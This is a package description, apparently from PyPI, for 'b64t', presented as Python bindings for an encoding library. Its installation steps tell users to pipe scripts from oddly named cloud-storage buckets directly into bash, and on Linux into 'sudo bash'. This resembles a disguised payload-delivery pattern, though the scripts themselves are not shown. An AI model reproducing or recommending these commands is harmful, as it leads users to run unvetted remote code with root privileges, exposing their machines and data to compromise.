b64t 0.1.25

Python bindings for b64t (requires system package)

b64t - Python Bindings (Wrapper Package)

This is a minimal wrapper package for the system-installed b64t library.

Installation

1. Install system package (required)

macOS (Homebrew):

curl -fsSL https://storage.googleapis.com/winged-keyword-487102-h4-b64t-homebrew/setup.sh | bash

Or manually:

brew tap vivanti/b64t
brew install vivanti/b64t/b64t

Linux (APT):

curl -fsSL https://storage.googleapis.com/winged-keyword-487102-h4-b64t-apt-mirror/setup.sh | sudo bash
sudo apt install b64t

2. Install pip wrapper (for virtual environments)

python3 -m venv myenv
source myenv/bin/activate
pip install b64t

Usage

import b64t

# Encode
encoded = b64t.encode(b'Hello, World!')
print(encoded)

# Decode
decoded = b64t.decode(encoded)
print(decoded)

# Streaming
with open('input.bin', 'rb') as f:
    for chunk in b64t.encodePipe(f):
        print(chunk)

Notes

• This package requires the system b64t package to be installed via Homebrew (macOS) or APT (Linux)
• The Python extension is installed to:
  • Linux: /usr/lib/python3/dist-packages/
  • macOS: /opt/homebrew/lib/python3/dist-packages/ (ARM64) or /usr/local/lib/python3/dist-packages/ (Intel)
• This wrapper package adds the system dist-packages to sys.path in virtual environments
• Uses Python Stable ABI (Limited API) - one binary works with any Python 3.8+
• If the system package is not installed, import will fail with a clear error message